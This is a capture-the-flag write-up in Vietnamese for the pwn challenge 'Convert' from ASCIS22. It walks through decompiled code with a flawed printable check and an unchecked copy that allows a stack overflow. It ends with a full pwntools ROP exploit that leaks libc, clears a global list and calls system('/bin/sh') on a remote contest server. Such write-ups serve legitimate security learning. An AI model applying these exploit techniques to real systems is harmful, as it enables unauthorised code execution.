--- tag: ctf, pwn --- # Convert (ASCIS22) ### Sơ qua về binary - Chương trình cho trước địa chỉ của PIE ```c++ puts("I have some gift for you ^^"); return puts((const char *)&retaddr); ``` - sau đó chương trình đi vào 1 vòng `while` thực hiện chức năng thêm note vào 1 chuỗi linked-list, và handle chuỗi đó theo 2 kiểu( `htb` hoặc `bth` nhưng khi exploit mình chỉ cần dùng mỗi `htb` và chưa hiểu `bth` dùng để làm gì) ```c++ __int64 __fastcall route(Note *note) { if ( !LOBYTE(note->type) ) goto LABEL_2; if ( !strcmp((const char *)&note->type, "htb") ) { return (unsigned int)handle_htb(note, (__int64)"htb"); } else { if ( strcmp((const char *)&note->type, "bth") ) { LABEL_2: puts("What do you want to do?"); return 0xFFFFFFFFLL; } return (unsigned int)handle_bth(note); } } ``` - Trong `handle_htb` function, đầu tiên chương trình sẽ check input của bạn có phải là printable không (bug here)? vì chương trình chỉ check với size là `strlen(note->ptr)` nên nếu mình truyền vào `1111\0bbb\x01\x02` thì hàm vẫn trả về giá trị `true` ```c++ __int64 __fastcall check_printable(Note *note) { int v2; // [rsp+18h] [rbp-8h] int i; // [rsp+1Ch] [rbp-4h] v2 = strlen(note->ptr); for ( i = 0; i < v2; ++i ) { if ( (note->ptr[i] <= 47 || note->ptr[i] > 57) && (note->ptr[i] <= 96 || note->ptr[i] > 102) ) return 0xFFFFFFFFLL; } return 0LL; } ``` - Tiếp theo, nếu biến `num==1` là thêm note đó vào list (có con trỏ header được lưu ở global), và `num==0` là copy tất cả list lên stack <== bug here. Vì khi copy lên stack, chương trình không check length của input nên chúng ta sẽ có stack bof ```c++ __int64 __fastcall handle_htb(Note *note, __int64 a2) { // truncated... v18 = check_printable(note); if ( v18 == -1 ) { puts("wrong type"); return v18; } if ( note->num == 1 ) { if ( g_Note ) { if ( !strcmp((const char *)&g_Note->type, (const char *)&note->type) ) { for ( i = g_Note; i->next; i = (Note *)i->next ) ; i->next = (__int64)note; } } else { g_Note = note; } return 1; } else { if ( note->num ) { puts("What do you want to do?"); return 0xFFFFFFFFLL; } count = 0; if ( g_Note && !strcmp((const char *)&g_Note->type, (const char *)&note->type) ) { for ( j = g_Note; *(_DWORD *)j->ptr; j = (Note *)j->next ) { memcpy(&s[count], j->ptr, 0x30uLL); count += 0x30; if ( !j->next ) goto LABEL_20; } puts("Buffer must not be empty."); } // truncated... } ``` ### Exploitation - Đầu tiên, mình sẽ tạo thật nhiều note để khi copy sẽ control được `return_addr`, nhưng khi đó mình đã overwrite cả biến `j`, và nếu nó không phải là con trỏ, hoặc con trỏ trỏ đến `null` thì vòng `for` copy của mình sẽ bị segfault hoặc kết thúc. Khi đó mình đã overwrite `j` bằng địa chỉ của `g_Note` (và điều đó đồng nghĩa rằng chương trình sẽ copy ngược lại những note đầu tiên của mình). ```c++ for ( j = g_Note; *(_DWORD *)j->ptr; j = (Note *)j->next ) { memcpy(&s[count], j->ptr, 0x30uLL); count += 0x30; if ( !j->next ) goto LABEL_20; } ``` - Sau khi control được `ret_addr`, leak được `libc`, mình đã nghĩ cho chương trình quay lại `main` nhưng khá sai lầm vì biến global Note là 1 list, và chưa được clear thì khi mình add thêm bất kỳ note nào thì nó sẽ nối vào phía cuối và khi `memcpy` sẽ không nhận địa chỉ lần thứ 2 của mình. - Khi đó mình đã tìm thử các rop gadget để mục đích clear biến `g_Note`, nhưng số lượng gadget của binary rất là ít. Cuối cùng, mình đã chọn hàm `memset` đã clear, nhưng mình gặp phải vấn đề là không một gadget nào động đến `rdx`, vậy nên mình đã call hàm `strlen` để thay đổi `rdx` (^^) - Script trông hơi ngu :< ```python from pwn import * # p = process("./convert") p = remote("34.143.130.87", 4001) p.recvuntil(b'gift for you ^^\n') pie = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\0')) - 0x1ada log.info("PIE: %#x" % pie) def add_note(num, type, m): pl = num.encode() pl += type.encode() pl += m # print (len(pl)) p.send(pl) # gdb.attach(p, """ # breakrva 0x16AA # breakrva 0x1AC1 # breakrva 0x1c09 # breakrva 0x0x12b2 # """) sleep(1) pop_rdi_ret =pie + 0x1c0b # 0x0000000000001c09 : pop rsi ; pop r15 ; ret pop_rsi_r15_ret = pie+ 0x1c09 # 0x00000000000012b2 : mov dword ptr [rax + 0x10], 0 ; nop ; leave ; ret mov_rax_ret = 0x12b2 + pie # 0x00000000000016a5 : mov rbx, qword ptr [rbp - 8] ; leave ; ret main = pie + 0x1AC1 ret = pie + 0x16AA # 0x0000000000001c08 : pop r14 ; pop r15 ; ret pop_r14_r15_ret = 0x1c08+pie add_note('0001', 'htb\0', b"0"*1 + b"\0"*3 + p32(0x90) + b"A"*0x28) pl = p64(pop_rdi_ret) pl += p64(pie + 0x4018) # puts_got pl += p64(pie + 0x1030) # puts_plt pl += p64(pop_r14_r15_ret) pl += p64(0) # ======================= add_note('0001', 'htb\0', b"0"*7 + b"\0" + pl) pl = p64(pop_rdi_ret) pl += p64(pie+0x4080) pl += p64(pie + 0x10B0) # strlen pl += p64(pop_r14_r15_ret) add_note('0001', 'htb\0', b"0"*7 + b"\0" + pl + p64(pie+0x4080-0x10)) pl = p64(pop_rsi_r15_ret) pl += p64(0) pl += p64(0) pl += p64(pie+0x1060) # memset pl += p64(main) add_note('0001', 'htb\0', b"0"*7 + b"\0" + pl) add_note('0000', 'htb\0', b"0"*7 + b"\0" + b"E"*0x28) libc = u64(p.recvuntil(b'\x7f').split(b'\n')[-1].ljust(8, b'\0')) - 0x06f6a0 # libc = u64(p.recvuntil(b'\x7f').split(b'\n')[-1].ljust(8, b'\0')) - 0x84420 log.info("libc: %#x" %libc) # =========================================== add_note('0001', 'htb\0', b"0"*1 + b"\0"*3 + p32(0x90) + b"A"*0x28) pl = p64(pop_rdi_ret) pl += p64(libc+ 0x18ce57) # str_bin_sh pl += p64(libc+ 0x0453a0) # system pl += p64(0) # main pl += p64(0) add_note('0001', 'htb\0', b"0"*7 + b"\0" + pl) add_note('0001', 'htb\0', b"0"*7 + b"\0" + b"C"*0x20 + p64(pie+0x4080-0x10)) add_note('0001', 'htb\0', b"0"*7 + b"\0" + b"D"*0x28) add_note('0000', 'htb\0', b"0"*7 + b"\0" + b"E"*0x28) p.interactive() ```